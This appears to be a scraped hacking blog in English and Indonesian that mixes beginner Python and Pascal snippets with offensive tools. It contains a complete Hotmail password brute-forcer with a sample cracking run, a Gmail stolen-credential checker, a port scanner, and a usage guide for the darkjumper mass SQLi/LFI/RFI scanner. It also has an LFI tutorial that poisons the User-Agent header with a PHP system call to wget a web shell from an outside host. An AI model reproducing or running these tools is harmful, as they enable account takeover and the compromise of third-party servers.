my darkc0der friend question
I got it working perfectly. Included the 2 trials method and blocking of Account after:)
Now the only problem am having is when putting the pin.
input = int(raw_input(“Enter ur 4-digit PIN : “))
If a char is entered, it brings up a compiler error. I want it to bring out my error like
print ‘Ure to enter an int ONLY’
Anoda thn, is there a way i can limit the input value? Like its meant to be 4-digit. Anyhelp with ‘len’. That makes it possible for only 4 digit to be entered.
Thnks in Advance.
#!/usr/bin/python
import sys
try:
inputme = int(raw_input("[-] Enter ur 4-digit PIN : "))
except ValueError:
print "[!] hey input numeric only asshole...."
sys.exit(1)
filteredinput = str(inputme)
if len(filteredinput) != 4:
print "[!] hey input 4 numeric asshole...."
sys.exit(1)
"""Now inputme length is 4 and it's clean from str"""
print "[-] You has inputted %s" % inputme
Sorry, anoda question. Is there any built-in-function that uses the ‘wait technique’ . Smthn lyk
print ‘\nVerifying password’
#then waits for like 5 secs. After d 5secs.It prints out the next statement.
print ‘\nPassword Verified’
#!/usr/bin/python import os print '[-] Verifying password...' time.sleep(5) if password == verified: print '[+] Password Verified' else print '[+] Password Unverified'
i hope that question can answered your question too ;)
hotmailbf.py (hotmail account bruteforcer)
here hotmail acount bruteforcer for you…
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Hotmail brute forcer
# programmer : gunslinger_
# Inspired by mywisdom
# This program is only for educational purposes only.
import sys, poplib, time
__Author__ = "Gunslinger_"
__Version__ = "1.0"
__Date__ = "Mon, 22 Feb 2010 13:13:43 +0700 "
log = "hotmailbrute.log"
file = open(log, "a")
counter = 0
face = '''
_ _ _ _ _ __
| |__ ___ | |_ _ __ ___ __ _(_) | | |__ / _|
| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
| | | | (_) | |_| | | | | | (_| | | | | |_) | _|
|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|
Hotmail brute forcer
programmer : %s
version : %s
date release : %s
''' % (__Author__, __Version__, __Date__)
help = '''
Usage : ./hotmailbf.py -u [email] -w [wordlist]
Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
'''
for arg in sys.argv:
if arg.lower() == '-u' or arg.lower() == '--user':
email = sys.argv[int(sys.argv.index(arg))+1]
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
print face
print help
file.write(face)
file.write(help)
#Change these if needed.
HOST = 'pop3.live.com'
PORT = 995
try:
preventstrokes = open(wordlist, "r")
words = preventstrokes.readlines()
count = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except(IOError):
print "\n[-] Error: Check your wordlist path\n"
file.write("\n[-] Error: Check your wordlist path\n")
sys.exit(1)
def definer():
print "-" * 60
print "[+] Email : %s" % email
print "[+] Wordlist : %s" % wordlist
print "[+] Length wordlist : %s " % len(words)
print "[+] Time Starting : %s" % time.strftime("%X")
print "-" * 60
file.write ("\n[+] Email : %s" % email)
file.write ("\n[+] Wordlist : %s" % wordlist)
file.write ("\n[+] length wordlist : %s " % len(words))
file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
def main(password):
global counter
sys.stdout.write ("[-] Trying : %s \n" % (password))
sys.stdout.flush()
file.write("[-] Trying : %s \n" % (str(password)))
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
pop.quit()
print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
sys.exit(1)
except Exception, e:
pass
except KeyboardInterrupt:
print "\n[-] Aborting...\n"
file.write("\n[-] Aborting...\n")
sys.exit(1)
counter+=1
if counter == len(words)/5:
print "[+] Hotmailbruteforcer 20% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
file.write("[+] Please be patient...\n")
elif counter == len(words)/4:
print "[+] Hotmailbruteforcer 25% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
file.write("[+] Please be patient...\n")
elif counter == len(words)/2:
print "[+] Hotmailbruteforcer on 50% done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on halfway done...\n")
file.write("[+] Please be patient...\n")
elif counter == len(words):
print "[+] Hotmailbruteforcer done...\n"
file.write("[+] Hotmailbruteforcer done...!\n")
if __name__ == '__main__':
print face
file.write(face)
definer()
for password in words:
main(password.replace("\n",""))
main(password)
and this is example :
gunslinger@localhost:~/project/hotmail$ ./hotmailbf.py -u **CENSORED**@hotmail.com -w wordlist.txt _ _ _ _ _ __ | |__ ___ | |_ _ __ ___ __ _(_) | | |__ / _| | '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_ | | | | (_) | |_| | | | | | (_| | | | | |_) | _| |_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_| Hotmail brute forcer programmer : Gunslinger_ ------------------------------------------------------------ [+] Email : **CENSORED**@hotmail.com [+] Wordlist : wordlist.txt [+] Length wordlist : 7 [+] Time Starting : 13:02:32 ------------------------------------------------------------ [-] Trying : dsnadsa [+] Hotmailbruteforcer 20% way done... [+] Please be patient... [-] Trying : dsadsa [-] Trying : fdsafds [+] Hotmailbruteforcer on 50% done... [+] Please be patient... [-] Trying : dsadsaf [-] Trying : fasfsa [-] Trying : dsadsad [-] Trying : **CENSORED** [+] W00t w00t !!! [+] Username : [**CENSORED**@hotmail.com] [+] Password : [**CENSORED**] [+] Status : Valid! gunslinger@localhost:~/project/hotmail$
How to check existence of file in python
Checking existence file in python
#!/usr/bin/python
import os.path
if os.path.isfile("filename"):
print "Your file is exist !"
else:
print "Your file is not exist !"
Introducing the for basic Loop
>>> li = ['a', 'b', 'e'] >>> for s in li: ... print s a b e >>> print "\n".join(li) a b e
>>> for i in range(5): ... print i 0 1 2 3 4
>>> li = ['a', 'b', 'c', 'd', 'e'] >>> for i in range(len(li)): ... print li[i] a b c d e
DARKJUMPER V5.3 WAS RELEASE AND TUTORIAL BY GUNSLINGER_
well after darkjumper v4.0 was rock up by my big brother , mywisdom .
now i’m and mywisdom developed darkjumper v5.0 (now v5.3) and added more function in darkjumper
with this, i released this tools and some tutorial how to using this tools and what’s new in this version…
Toolname : darkjumper.py v5.3 Developed by : mywisdom & gunslinger_ <devilzc0de.com c0der> Released on : 15 ,February 2010 Download url : https://sourceforge.net/projects/darkjumper/ Function(s) 1. User enumeration(s) guessing based on 4-8 chars trial taken from every site name that host at the same server 2. Scan for sql injection,local file inclusion,remote file inclusion and blind sql injection on every site(s) at the same server 3. CGI and Path(s) Scanning 4. Portscanning 5. Autobruteforcing after user enumeration 6. Autoinjector - autocolumnfinder (mysql) if found mysql bug if found 7. Proxy added 8. Verbocity added 9. IP or proxy checker and GeoIP usefull for checking your IP or your proxy work or not Additional feature: more fake http user agent(s)
Requirement(s): - python : 2.5.x - perl
Now we’re go to tutorial section :
before scanning : make sure you always clearlog before scanning by execute clearlog.py
./clearlog.py
allright folks , now we’re ready to try execute darkjumper and show the option by
./darkjumper.py -h
or
./darkjumper.py --help
and we got like this…

in this version, we have 6 mode. there is : reverseonly | Only reverse target no checking bug surface | Checking for sqli and blind sqli on every web that host at the same target server full | Checking for sqli,blind,rfi,lfi on every web that host at the same target server cgidirs | Scanning cgidirs on the target server enum [number] | Guessing possible user enumeration on server (4-8 chars user enumeration) portscan [startport]-[endport] | Scanning open port on server target
ok there is any full description on it…
- reverseonly
in this mode, darkjumper only reverse target ip. no checking any bug .
Command is :
./darkjumper.py -t [target] -m reverseonly
Example :

- surface
This mode, darkjumper reverse the target then check sqli (sql injection vulnerability) and blind (blind sql injection vulnerability) on every web that host at the same target server
Good is in this version and up, we’re also trying to finder the column automatic if we got mysql type error ! phew !
Command is :
./darkjumper.py -t [target] -m surface
example :

- full
This mode, darkjumper will reverse target then check CGI path and checking sqli (sql injection vulnerability) , blind (blind sql injection vulnerability) , lfi (local file inclusion) , rfi (remote file inclusion) on every web that host at the same target server . autoinjector or autocolumn finder working to in this mode if we got mysql error.
Command is :
./darkjumper.py -t [target] -m full
Example :

- cgidirs
This mode, darkjumper only checking CGI path checking on your target
Command is :
./darkjumper.py -t [target] -m cgidirs
Example :

- enum
This mode, darkjumper reverse the target then Guessing possible user enumeration on server (4-8 chars user enumeration)
Command is :
./darkjumper.py -t [target] -m enum [number]
Example command :
./darkjumper.py -t [target] -m enum 4
Example :

Note : You can enable autoftpbruteforcing by :
./darkjumper.py -t [target] -m enum [number] -a
(argument -a is for autoftpbruteforcing)
Example :

- portscan
This mode, darkjumper only checking open port on your target
Command is :
./darkjumper.py -t [target] -m portscan [startport]-[endport]
Example command :
./darkjumper.py -t localhost -m portscan 15-22
Example :

You can make it verbose by :
./darkjumper.py -t localhost -m portscan 15-22 -v
Example :

And you can check your ip and your proxy .
if you wanna check your proxy your command is
./darkjumper.py -p [proxyaddress:port]
or you wanna check your own ip address
./darkjumper.py -c
You want stop your scanning? simply type this command
killall -9 /usr/bin/python & killall -9 /usr/bin/perl
allright guys that’s it ! hopely you can enjoy !!
Don’t forget to check latest version or report bug @ https://sourceforge.net/projects/darkjumper/
comming soon !! darkjumper.py v5.0
comming soon !! darkjumper.py v5.0 just wait and see baby !!
################################################################ # .___ __ _______ .___ # # __| _/____ _______| | __ ____ \ _ \ __| _/____ # # / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ # # / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ # # \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ # # \/ \/ \/ # # ___________ ______ _ __ # # _/ ___\_ __ \_/ __ \ \/ \/ / # # \ \___| | \/\ ___/\ / # # \___ >__| \___ >\/\_/ # # est.2007 \/ \/ forum.darkc0de.com # ################################################################ Darkjumper.py version 5.0 help module Developed by : mywisdom & gunslinger_ This tool will try to find every website that host at the same server at your target Then check for every vulnerability of each website that host at the same server Vulnerable check including: sqli,blind,lfi and rfi ----------------------------------------------------------------------------------- Usage : ./darkjumper.py -t [target] -m [option] Available option : reverseonly surface full cgidirs enum [number] [number] is 4, 5, 6, 7, 8 in range portscan [startport]-[endport] Description: - reverseonly Only reverse target no checking bug - surface Reverse target, then checking for sqli and blind sqli on every web that host at the same server - full Reverse target, then checking for sqli,blind,rfi,lfi on every web that host at the same server [this mode requires longer time,I dont suggest this mode for slow internet connection] - enum Guessing possible user enumeration on server (4-8 chars user enumeration) If you don't set number this will guesssing default to 8 chars [this mode requires number 4 until 8 for guessing users] - portscan Scanning open port on server - cgidirs Scanning cgidirs on the server ---------------------- Sample Usage: ---------------------- Reverseonly mode : Example : ./darkjumper.py -t www.jasakom.com -m reverseonly Surface scanning mode : Example : ./darkjumper.py -t www.jasakom.com -m surface Full scanning mode: Example : ./darkjumper.py -t www.jasakom.com -m full User enumeration mode : Example : ./darkjumper.py -t www.jasakom.com -m enum 8 Warning ! you must set the number of chars for user enumeration If you want to set number of chars for user guessing,it should be 4 until 8 ! don't less or greater CGI directory scanning mode : Example : ./darkjumper.py -t www.jasakom.com -m cgidirs Port scanning mode: Example : ./darkjumper.py -t www.jasakom.com -m portscan 0-80 ---------------------------------------------------------- gunslinger@localhost:~/darkjumper$
fimap – Remote & Local File Inclusion (RFI/LFI) Scanner
fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. fimap is similar to sqlmap just for LFI/RFI bugs instead of sql injection. It is currently under heavy development but it’s usable.
Features
- Check a Single URL, List of URLs, or Google results fully automatically.
- Can identify and exploit file inclusion bugs.
- Test and exploit multiple bugs
- Has an interactive exploit mode
- Add your own payloads and patches to the config.py file.
- Has a Harvest mode which can collect URLs from a given domain for later pentesting.
- Can use proxies (experimental).
Changes
- All commands will now be send base64 encoded. So you can use quotes as much as you want.
- php://input detection is now 100% reliable.
- You can now define a POST string for relative and absolute files in the config.py.
- TTL implemented. You can define it with “—ttl “. Default is 30 seconds.
- Experimental HTTP Proxy support. You can define a HTTP(s) proxy with “—http-proxy localhost:8080″.
- Googlescanner can now skip the first X pages. Use “—skip-pages X”.
- Lots of bugfixes and additional regular expressions.
Requirements
- Needs: Python >= 2.4
You can download fimap here:
Or read more here.
how to reverse string in python ?
how to reverse string in python ?
simple…
#!/usr/bin/python string = "xirtam" reverse_string = string[::-1] print reverse_string
>> matrix
gmailchecker.py
This is gmail account checker written by python…
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Gmail Account Checker
# programmer : gunslinger_
# This program is only for educational purposes only.
import sys, poplib
face = '''
_/ _/
_/_/_/ _/_/_/ _/_/ _/_/_/ _/
_/ _/ _/ _/ _/ _/ _/ _/ _/
_/ _/ _/ _/ _/ _/ _/ _/ _/
_/_/_/ _/ _/ _/ _/_/_/ _/ _/
_/
_/_/ Account checker
Gunslinger_'''
help = '''
Usage: ./gmailchecker.py [gmaillist]
Ex : ./gmailchecker.py gmaillist.txt
\n* Account must be in the following format ~> username@gmail.com:password
'''
if len(sys.argv) != 2:
print (face)
print (help)
exit(1)
#Change these if needed.
LOG = 'valid_gmail.txt'
HOST = 'pop.gmail.com'
PORT = 995
# Do not change anything below.
maillist = sys.argv[1]
valid = []
strline = 0
try:
handle = open(maillist)
except:
print '\n[-] Could not open the accounts file. Check the file path and try again.'
print '\n[-] Quitting ...'
exit(1)
for line in handle:
strline += 1
try:
email = line.split(':')[0]
password = line.split(':')[1].replace('\n', '')
except:
print '\n[-] Erroneous account format at line %d.' % strline
print '[!] Accounts must be in the following format : username@gmail.com:password'
print '\n[-] Quitting ...'
exit(1)
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
valid.append(email + ':' + password)
print '[+] Checking ~> username : [%s] password : [%s] status : Valid!' % (email, password)
pop.quit()
except:
print '[+] Checking ~> username : [%s] password : [%s] status : invalid!' % (email, password)
pass
handle.close()
print '\n[+] Total Valid: %s' % len(valid)
if len(valid) > 0:
save = open(LOG, 'a')
for email in valid:
save.write(email + '\n')
save.close()
print '[+] The valid accounts are saved in "%s".' % LOG
print '[+] Done.\n'

portscanner.py
This is python port scanner finished by me :This is python port scanner finished by me :
#!/usr/bin/python
# -*- coding: utf-8 -*-
# -*- port scanner by gunslinger_ feb 9 2010
# -*- usage : ./portscanner -t [targethost] -s [startport] -e [endport]
import sys
from socket import *
asciitext = '''
_
| |
_ __ ___ _ __| |_ ___ ___ __ _ _ __ _ __ ___ _ __
| '_ \ / _ \| '__| __| / __|/ __|/ _` | '_ \| '_ \ / _ \ '__|
| |_) | (_) | | | |_ \__ \ (__| (_| | | | | | | | __/ |
| .__/ \___/|_| \__| |___/\___|\__,_|_| |_|_| |_|\___|_|
| |
|_| by gunslinger_ '''
option = '''
Usage: ./portscanner.py [options]
Options: -t, --target <hostname/ip> | Target to bruteforcing
-s, --start <portstart> | Number start port scanning
-e, --end <portend> | Number end port scanning
-h, --help <help> | print this help
Example: ./portscanner.py -t 192.168.1.1 -s 0 -e 8000
'''
for arg in sys.argv:
if arg.lower() == '-t' or arg.lower() == '--target':
hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-s' or arg.lower() == '--start':
startport = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-e' or arg.lower() == '--end':
endport = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
print (asciitext)
print (option)
sys.exit
elif len(sys.argv) <= 1 or 2 or 3 or 4 or 5 or 6:
print (asciitext)
print (option)
sys.exit()
for port in range(int(startport), int(endport)):
try:
socket(AF_INET, SOCK_STREAM).connect((hostname, port));
print "[+] port is open ::", port
except:
pass
Example :
_
| |
_ __ ___ _ __| |_ ___ ___ __ _ _ __ _ __ ___ _ __
| '_ \ / _ \| '__| __| / __|/ __|/ _` | '_ \| '_ \ / _ \ '__|
| |_) | (_) | | | |_ \__ \ (__| (_| | | | | | | | __/ |
| .__/ \___/|_| \__| |___/\___|\__,_|_| |_|_| |_|\___|_|
| |
|_| by gunslinger_
Usage: ./portscanner.py [options]
Options: -t, --target <hostname/ip> | Target to bruteforcing
-s, --start <portstart> | Number start port scanning
-e, --end <portend> | Number end port scanning
-h, --help <help> | print this help
Example: ./portscanner.py -t 192.168.1.1 -s 0 -e 8000
gunslinger@localhost:~/python/python_documenter$

pagerankchecker.py
kemarin setelah tadi jalan – jalan di google , eh ketemu sama google pagerank .
lalu saya punya ide buat memparsingnya, dan ternyata ada hash tersendiri di pagerank checker tersebut.
yah lumayan tapi akhirnya saya bisa juga memparsingnya horeeee :D
ok silahkan test saja program dibawah ini :
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Script for getting Google Page Rank of page
# Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm
#
# by gunslinger_ - 2010
import urllib, sys, time
def get_pagerank(url):
hsh = cek_hash(hash_url(url))
gurl = 'http://www.google.com/search?client=navclient-auto&features=Rank:&q=info:%s&ch=%s' % (urllib.quote(url), hsh)
try:
f = urllib.urlopen(gurl)
rank = f.read().strip()[9:]
except Exception:
rank = 'N/A'
if rank == '':
rank = '0'
return rank
def int_str(string, integer, faktor):
for i in range(len(string)) :
integer *= faktor
integer &= 0xFFFFFFFF
integer += ord(string[i])
return integer
def hash_url(string):
c1 = int_str(string, 0x1505, 0x21)
c2 = int_str(string, 0, 0x1003F)
c1 >>= 2
c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F)
c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF)
c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF)
t1 = (c1 & 0x3C0) << 4
t1 |= c1 & 0x3C
t1 = (t1 << 2) | (c2 & 0xF0F)
t2 = (c1 & 0xFFFFC000) << 4
t2 |= c1 & 0x3C00
t2 = (t2 << 0xA) | (c2 & 0xF0F0000)
return (t1 | t2)
def cek_hash(hash_int):
hash_str = '%u' % (hash_int)
bendera = 0
cek_byte = 0
i = len(hash_str) - 1
while i >= 0:
byte = int(hash_str[i])
if 1 == (bendera % 2):
byte *= 2;
byte = byte / 10 + byte % 10
cek_byte += byte
bendera += 1
i -= 1
cek_byte %= 10
if 0 != cek_byte:
cek_byte = 10 - cek_byte
if 1 == bendera % 2:
if 1 == cek_byte % 2:
cek_byte += 9
cek_byte >>= 1
return '7' + str(cek_byte) + hash_str
if __name__ == '__main__':
print ''' __ __ __
.-----..---.-..-----..-----. .----..---.-..-----.| |--. .----.| |--..-----..----.| |--..-----..----.
| _ || _ || _ || -__| | _|| _ || || < | __|| || -__|| __|| < | -__|| _|
| __||___._||___ ||_____| |__| |___._||__|__||__|__| |____||__|__||_____||____||__|__||_____||__|
|__| |_____| by gunslinger_
'''
host = raw_input("Please input site you want to check : ")
# print int(get_pagerank(host))
for x in range(int(get_pagerank(host))):
x += 1
time.sleep(1)
sys.stdout.write("\rCalculating score --> %d" % x)
sys.stdout.flush()
else:
sys.stdout.write("\n%s score is %d\n" % (host,x))
lalu hasilnya akan seperti ini :

semoga bermanfaat untuk menambahkan aplikasi lainnya :)
cara menginstall pascal di linux
Kali ini saya akan beri tips menginstall pascal di linux
yah karena menurut saya sangat mengasyikan , mengapa tidak di install saja dilinux :p
ok… ok langsung saja
tools – tools yang saya pakai saat ini sebagai berikut :
* fpc
* konsole
dan editor kesukaan saya adalah kate mungkin anda juga harus mencobanya.
jika anda menggunakan operating system berbasis debian silahkan ketikan saja seperti ini di terminal anda :
* apt-get install fpc konsole kate
oiya, mengapa sekaligus menginstall konsole ?
karena pada dasarnya kate memiliki bug terminal tidak terlihat , maka dengan menginstall konsole maka terminal akan terlihat pada kate .
selain itu, mempermudah meng-kompile atau menginterpreter code yang kita buat.
nah jika sudah terinstall, maka akan seperti gambar berikut :
lalu kita tes dengan code ular_berjalan :
program ular_berjalan;
uses crt;
var
x : byte;
begin
clrscr;
while x<100 do
begin
gotoxy(1+x,10);
write(' ');
write('0oSnAkEo0`o`');
delay(10);
x:=x+1;
end;
end.
simpan file tersebut dengan nama up2u.pas di directory yang anda sediakan, lalu klik terminal setelah itu kompile dengan cara :
* fpc ular.pas
lalu run program di konsolenya juga dengan perintah :
* ./ular.pas
sekarang semuanya sudah selesai selamat berpascal ria di linux…!
Cara menanam shell lewat LFI (Local File Inclusion) dengan metode proc/self/environ
Cara menanam shell lewat LFI (Local File Inclusion) dengan metode proc/self/environ
Penulis : gunslinger_
dengan tutorial ini saya akan menjelaskan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ.
Ok kita langsung saja…
1. kita menemukan website yang vulnerable terhadap serangan LFI.
contoh : http://site.com/info.php?file=news.php
2. coba kita ganti “news.php” dengan “../../../”.
contoh : http://site.com/info.php?file=../../../
lalu kita mendapat error, seperti berikut…
Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99
ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.
contoh : http://site.com/info.php?file=etc/passwd
Tetapi kita masih mendapat error seperti berikut :
Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99
bagaimana jika kita naikan directorynya ?
mari kita coba…
contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd
Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false saned:x:106:113::/home/saned:/bin/false pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false messagebus:x:108:117::/var/run/dbus:/bin/false polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash snmp:x:112:65534::/var/lib/snmp:/bin/false guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin
3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti “/etc/passwd” dengan “/proc/self/environ”
contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ
Jika anda mendapatkan yang seperti ini :
DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80
Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD
4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi “http://site.com/info.php?file=../../../../../../../../../proc/self/environ”
lalu pada user-agent isikan dengan kode berikut :
<?system('wget http://r57.gen.tr/c100.txt -O shell.php');?>
atau
<?exec('wget http://r57.gen.tr/c100.txt -O shell.php');?>
lalu submit.
5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.
http://site.com/shell.php
happy hacking !
ular berjalan (snake)
berikut adalah program simple ular berjalan tanpa kontrolernya.
program ular_berjalan;
uses crt;
var
x : byte;
begin
clrscr;
while x<100 do
begin
gotoxy(1+x,10);
write(' ');
write('0oSnAkEo0`o`');
delay(1000);
x:=x+1;
end;
end.
penjelasan :
line 1 : nama program ular berjalan
line 2 : menggunakan kompiler pascal 98 DOS
line 3 : tentukan variable
line 4 : variable x sama dengan byte
line 5 : mulai program !!!
line 6 : bersihkan layar
line 7 : selagi nilai x lebih kecil dari nilai 100
line 8 : memulai subprogram
line 9 : pointer pergi ke xy 10 kemudian tambah 1 , lalu tambah 1 dan seterusnya sampai nilainya 99
line 10: tulis kosong, *Tips : ini hanya untuk perpindahan pointer
line 11: menulis 0oSnAkEo0`o`
line 12: variable byte x ditambah 1
line 13: sebelum x bernilai 99 maka akan terus berputar subprogramnya…
line 14: akhir dari program, jika syarat terpenuhi.
dengan beberapa code tersebut, maka akan seperti ular yang berjalan pada layar screen.
namun, saya tidak membuat kontrolernya (readkey) maka ular akan terus berjalan kekanan…
ok sekian dulu.
matrix pascal
Iseng bermain2 dgn program matrix pascal lama…
program matriks; uses crt; var elemen : array [1..5,1..6] of byte; x,y : byte; begin clrscr; elemen [1,1] :=5; elemen [1,2] :=3; elemen [1,3] :=6; elemen [2,1] :=7; elemen [2,2] :=1; elemen [2,3] :=8; elemen [3,1] :=9; elemen [3,2] :=5; elemen [3,3] :=7; for x :=1 to 3 do; begin for y :=1 to 3 do; begin write (elemen [x,y]); end; writeln; end; end.
simple sort
berikut adalah program pascal simple sort
Program simple_sort; Uses crt; Var Data : array [1..5] of byte; X,y,z : byte; Begin Data [1] := 5; Data [2] := 4; Data [3] := 3; For x:= 1 to 5 do write (data [x]); For x:= 1 to 5 do; Begin For z:= x + 1 to 5 do If data [x] > data [z] then Y:= data [x]; Data [x] := data [z]; Data [z] := y; End; End.
Penjelasan :
line 1 : Menamakan program simple sort (tidak mutlak)
line 2 : Menggunakan compiler pascal 98 DOS / bisa menggunakan use wincrt pada compiler pascal yang jaman windows
line 3 : Tentukan variable
line 4 : Data adalah array dari 1 sampai 5
line 5 : Variable x, y, z adalah byte
line 6 : Begin – Mulai program . seperti halnya kurung kurawal pada c maka juga akan ada penutup nya ({ })
line 7 : Array data 1 berisi nilai 5
line 8 : Array data 2 berisi nilai 4
line 9 : Array data 3 berisi nilai 3
line 10: Untuk nilai x = 1 menuju ke 5 , lalu menulis data byte x
line 11: Untuk nilai x = 1 menuju ke 5
line 12: Memulai program di dalam program . disebut juga program tersarang
line 13: Untuk nilai z = 1 menuju ke 5
line 14: Jika data x lebih besar dari data z kemudian
line 15: Data array Y sama dengan data array X
line 16: Data array Z sama dengan nilai variabel y
line 17: Akhir dari program tersarang, tetapi jika syarat telah terpenuhi.
line 18: Akhir dari program, jika semua syarat program telah terpenuhi.
Inti program tersebut adalah pertukaran data pada syarat2 tertentu (bubble sort).
Ok, sampai disini dulu selanjutnya saya akan menjelaskan analogi programnya.
ftpbrute.py
ftpbrute.py is An automated script for FTP dictionary attack (bruteforce)
#!/usr/bin/python
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
################################################################
# This is ftp brute force tools [Updated].
